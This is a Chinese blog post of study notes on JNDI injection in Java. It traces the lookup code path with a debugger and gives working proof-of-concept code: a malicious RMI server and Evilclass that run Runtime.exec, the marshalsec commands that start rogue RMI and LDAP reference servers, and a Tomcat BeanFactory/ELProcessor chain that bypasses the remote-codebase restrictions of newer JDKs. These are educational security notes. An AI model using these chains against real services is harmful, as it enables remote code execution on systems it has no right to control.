MENU

JNDI注入

February 2, 2023 • Read: 2410 • Code auditing

前言

记录笔记

JNDI简介

什么是JNDI

JNDI是Java Naming and Directory Interface(JAVA命名和目录接口)的英文简写,它是为JAVA应用程序提供命名和目录访问服务的API(Application Programing Interface,应用程序编程接口)。

JNDI结构

javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

命名的概念

JNDI中的命名(Naming),就是将Java对象以某个名称的形式绑定(binding)到一个容器环境(Context)中,以后调用容器环境(Context)的查找(lookup)方法又可以查找出某个名称所绑定的Java对象。容器环境(Context)本身也是一个Java对象,它也可以通过一个名称绑定到另一个容器环境(Context)中。

JDK默认可供调用的服务:RMI,LDAP,DNS,CORBA

重点类介绍

InitialContext

构造方法

//构建一个初始上下文。
InitialContext() 
//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy) 
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment)

常用方法

//将名称绑定到对象。 
bind(Name name, Object obj) 
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name) 
//检索命名对象。
lookup(String name)  
//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj) 
//取消绑定命名对象。
unbind(String name) 

Reference类

构造方法

//为类名为“className”的对象构造一个新的引用。
Reference(String className) 
//为类名为“className”的对象和地址构造一个新引用。 
Reference(String className, RefAddr addr) 
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。 
Reference(String className, RefAddr addr, String factory, String factoryLocation) 
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。  
Reference(String className, String factory, String factoryLocation)

/*
参数:
className 远程加载时所使用的类名
factory  加载的class中需要实例化类的名称
factoryLocation  提供classes数据的地址可以是file/ftp/http协议
*/

常用方法

//将地址添加到索引posn的地址列表中。
void add(int posn, RefAddr addr) 
//将地址添加到地址列表的末尾。 
void add(RefAddr addr) 
//从此引用中删除所有地址。  
void clear() 
//检索索引posn上的地址。 
RefAddr get(int posn) 
//检索地址类型为“addrType”的第一个地址。  
RefAddr get(String addrType) 
//检索本参考文献中地址的列举。 
Enumeration<RefAddr> getAll() 
//检索引用引用的对象的类名。 
String getClassName() 
//检索此引用引用的对象的工厂位置。  
String getFactoryClassLocation() 
//检索此引用引用对象的工厂的类名。  
String getFactoryClassName() 
//从地址列表中删除索引posn上的地址。    
Object remove(int posn) 
//检索此引用中的地址数。 
int size() 
//生成此引用的字符串表示形式。
String toString() 

JNDI References 注入

这是低版本的JNDI注入原理,当使用lookup()方法查找对象时,Reference将使用提供的ObjectFactory类的加载地址来加载ObjectFactory类,ObjectFactory类将构造出需要的对象。

RMI实现JNDI注入

所谓的 JNDI 注入就是控制 lookup 函数的参数,这样来使客户端访问恶意的 RMI服务加载恶意的对象,从而执行代码,完成攻击RMI的客户端。
首先我们还是得写一个简单的RMI
远程类:

import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;


interface RmiInterface extends Remote {
    public String RmiHello() throws RemoteException;

}
public class RmoteCLass extends UnicastRemoteObject implements RmiInterface {
    protected RmoteCLass() throws RemoteException {
        super();
    }

    public String RmiHello() throws RemoteException {
        return "hello world";
    }
}

服务端:

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;

public class JindiServer {
    public static void main(String[] args) throws NamingException, RemoteException {
        InitialContext initialContext = new InitialContext();
        Reference reference = new Reference("Evilclass","Evilclass","http://127.0.0.1:7777/");
        initialContext.rebind("rmi://127.0.0.1:1099/Rmi",reference);
    }
}

即把http://127.0.0.1:7777/Evilclass.class这个类绑定到了127.0.0.1:1099/Rmi这个名字上

客户端:

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class Jindiclient {
    public static void main(String[] args) throws NamingException, RemoteException {
        InitialContext initialContext = new InitialContext();
        RmiInterface lookup = (RmiInterface)initialContext.lookup("rmi://127.0.0.1:1099/Rmi");
        System.out.println(lookup.RmiHello());
    }

}

恶意类

import java.io.IOException;

public class Evilclass {
    public Evilclass() throws IOException {
        Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
    }
}

然后python起一个http服务
截屏2023-04-18 16.57.02.png

这种方式攻击的是RMI的客户端,然后我们来进一步调试
跟进lookup
截屏2023-04-18 17.39.56.png

然后getURLOrDefaultInitCtx方法会根据传入的标识来返回一个URL上下文,然后调用了另一个lookup方法,现在跟进getURLOrDefaultInitCtx
截屏2023-04-18 17.42.42.png

里面的getURLSchema会根据标识名称获取对应的协议,这里是rmi,接着如果不为空就调用getURLContext来获取rmi协议对象,所以简单来说,getURLOrDefaultInitCtx就是用来获取rmiURLContext的,然后进入到它对应的GenericURLContext类里,进行lookup的调用:
截屏2023-04-19 11.01.38.png

里面的getRootURLContext方法会根据rmi协议去获取一个ResolveResult对象,这个对象里有两个元素:RMI注册中心对象和RMI远程调用对象的名称,getResolvedObj会从ResolveResult对象里获取到RMI注册中心对象,而getRemainingName则是从ResolveResult对象中获取到RMI远程调用对象的名称。
然后是var3.lookup,也就是说是RMI注册中心来调用lookup方法,从而获取到RMI远程调用对象的名称
跟进RMI注册中心的lookup方法
截屏2023-04-19 17.43.08.png

这一步才是真正意义的调用RMI注册中心的lookup方法,RMI注册中心会根据传入的RMI远程调用对象的名称来查找对应的RMI远程调用对象的引用,var2 = this.registry.lookup(var1.get(0));这一句即表明RMI客户端会与注册中心通信,返回RMI服务地址、IP等信息,接下来跟进decodeObject方法
截屏2023-04-20 15.31.22.png

其中Object var3 = var1 instanceof RemoteReference ?((RemoteReference)var1).getReference() : var1;这段代码说明,如果是Reference对象,则会进入getReference()方法,从而与RMI服务器进行一次连接,拿到远程class文件地址;但如果是普通对象,则这里不会进行连接,只有等到正式调用远程函数的时候才会连接RMI服务。

public static Object
        getObjectInstance(Object refInfo, Name name, Context nameCtx,
                          Hashtable<?,?> environment)
        throws Exception
    {

        ObjectFactory factory;

        // Use builder if installed
        ObjectFactoryBuilder builder = getObjectFactoryBuilder();
        if (builder != null) {
            // builder must return non-null factory
            factory = builder.createObjectFactory(refInfo, environment);
            return factory.getObjectInstance(refInfo, name, nameCtx,
                environment);
        }

        // Use reference if possible
        Reference ref = null;
        if (refInfo instanceof Reference) {
            ref = (Reference) refInfo;
        } else if (refInfo instanceof Referenceable) {
            ref = ((Referenceable)(refInfo)).getReference();
        }

        Object answer;

        if (ref != null) {
            String f = ref.getFactoryClassName();
            if (f != null) {
                // if reference identifies a factory, use exclusively

                factory = getObjectFactoryFromReference(ref, f);
                if (factory != null) {
                    return factory.getObjectInstance(ref, name, nameCtx,
                                                     environment);
                }
                // No factory found, so return original refInfo.
                // Will reach this point if factory class is not in
                // class path and reference does not contain a URL for it
                return refInfo;

            } else {
                // if reference has no factory, check for addresses
                // containing URLs

                answer = processURLAddrs(ref, name, nameCtx, environment);
                if (answer != null) {
                    return answer;
                }
            }
        }

即会先在本地加载工厂类Evilclass,如果loadClass没有在本地找到该类,则它会调用getFactoryClassLocation来获取远程URL地址,如果获取到的不为空,则这段代码:clas = helper.loadClass(factoryName, codebase);会直接根据远程URL地址使用类加载器URLClassLoader来加载Evilclass类,最后的return (clas != null) ? (ObjectFactory) clas.newInstance() : null;会实例化之前的恶意Evilclass类文件,而实例化会默认调用构造方法、静态代码块,所以这就可以成功完成整条链子的任意代码执行
简单总结一下:

在JNDI服务里,RMI服务端既可以直接绑定远程对象,也可以通过Reference来绑定一个外部的远程对象,
当这个恶意的Reference对象绑定到RMI注册中心,且经过一系列的判断之后,RMI服务端就会通过getReference()方法来获取绑定对象的引用,
然后当客户端通过lookup方法查找远程对象时,便会拿到相应的工厂类,最后就是进行实例化执行任意代码了

使用工具一健起恶意的rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:7777/#Evilclass 1099

截屏2023-04-21 09.33.28.png

然后我们回过头看之前的com/sun/naming/internal/VersionHelper.java#loadClass的代码:

public Class<?> loadClass(String className, String codebase)
            throws ClassNotFoundException, MalformedURLException {

        ClassLoader parent = getContextClassLoader();
        ClassLoader cl =
                 URLClassLoader.newInstance(getUrlArray(codebase), parent);

        return loadClass(className, cl);
    }

这个地方用URLClassLoader来进行的远程动态类加载,实际上这种利用方式java在JDK 6U132、7U122、8U113等中做了限制:com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase的默认值变为了false,需要手动设定为ture才能成功,不然就会报错,报错信息如下:
截屏2023-04-21 13.49.35.png

很多版本修复rmi这个问题时,并没有修复ldap的

LDAP实现NDI注入

LDAP

LDAP(Lightweight Directory Access Protocol)-轻量目录访问协议。但看了这个解释等于没说,其实也就是一个数据库,可以把它与mysql对比!
具有以下特点:

基于TCP/IP协议
同样也是分成服务端/客户端;同样也是服务端存储数据,客户端与服务端连接进行操作
相对于mysql的表型存储;不同的是LDAP使用树型存储
    因为树型存储,读性能佳,写性能差,没有事务处理、回滚功能。

树层次分为以下几层:

dn:一条记录的详细位置,由以下几种属性组成
dc: 一条记录所属区域
ou:一条记录所处的分叉
cn/uid:一条记录的名字/ID

我们这里依然是工具起一个ldap服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/\#Evilclass 1099

然后我们的客户端

import javax.naming.InitialContext;
import javax.naming.NamingException;


public class Ldapclient {
    public static void main(String[] args) throws NamingException{
        String url = "ldap://127.0.0.1:7777/Evilclass";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }

}

截屏2023-04-21 14.34.36.png

其实和RMI是大差不差的,简单分析一下
前面的流程都差不多,到decodeObject函数
截屏2023-04-21 15.05.30.png

这个时候其实已经将我们引用进行了解封装,已经得到我们的Evilclass类了
真正进行实例化是在后面

return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);

然后具体的自己再去跟一下就知道流程了,这个只算是jdk版本的绕过方式

JNDI注入绕过高版本限制

具体有两种方法

  1. 加载本地类
  2. 反序列化

利用加载本地类绕过高版本java限制

其实高版本的jdk我们还是可以到引用的封装这一步的,但是后续的远程类加载不行了,此时如果利用的是类是存在于CLASSPATH中的,那么在经过javax.naming.spi.NamingManager#getObjectFactoryFromReference时便会先在本地CLASSPATH里寻找是否存在该类,如果没有,则再总远程寻找,所以这就可以绕过版本限制。
在找本地可利用类时,由于之前javax.naming.spi.NamingManager#getObjectFactoryFromReference最后的return语句存在类型转型,所以这个工厂类必须要实现javax.naming.spi.ObjectFactory接口;并且还要至少有个getObjectInstance()方法。
安全人员找到了org.apache.naming.factory.BeanFactory,且这个类存在于Tomcat的依赖里,所以应用很广泛。

<dependency>
   <groupId>org.apache.tomcat</groupId>
   <artifactId>tomcat-catalina</artifactId>
   <version>8.5.0</version>
</dependency>

<dependency>
   <groupId>org.apache.tomcat</groupId>
   <artifactId>tomcat-jasper-el</artifactId>
   <version>9.0.7</version>
</dependency>

服务端

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;

public class JindiServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",
                (String)null, "", "", true, "org.apache.naming.factory.BeanFactory",
                (String)null);
        resourceRef.add(new StringRefAddr("forceString", "x=eval"));
        resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\")"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("evil", referenceWrapper);
    }
}

客户端

import javax.naming.InitialContext;


public class Jindiclient {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("rmi://127.0.0.1:1099/evil");
    }
}

截屏2023-04-21 17.37.35.png

然后我们简单来看一下,前面都差不多,然后调用到decodeObject
截屏2023-04-23 10.47.35.png

最终会获得工厂类
截屏2023-04-23 15.38.06.png

这个工厂类就是BeanFactory,然后会调用他的getObjectInstance方法
这个方法里面就是反射调用造成的危害
截屏2023-04-23 16.43.00.png

根据我们的构造bean又是ELProcessor类,最后执行是因为javax.el.ELProcessor#eval方,这就是常见的EL表达式的利用了,从而达到绕过的效果。

利用反序列化绕过高版本java限制

既然是要反序列化,那么前提必然是要有可利用的Gadgets才行,也即是表明目标环境必须要存在Gadgets所需的一些包(如Commons-Collections-3.2.1等),我们需要找方法触发反序列化,LDAP有一个特殊的字段javaSerializedData,只要设置了它便会给Client端返回序列化串然后被反序列化

跟着看了看,不想复现了,具体可以看:https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

Last Modified: April 23, 2023
Archives Tip
QR Code for this page
Tipping QR Code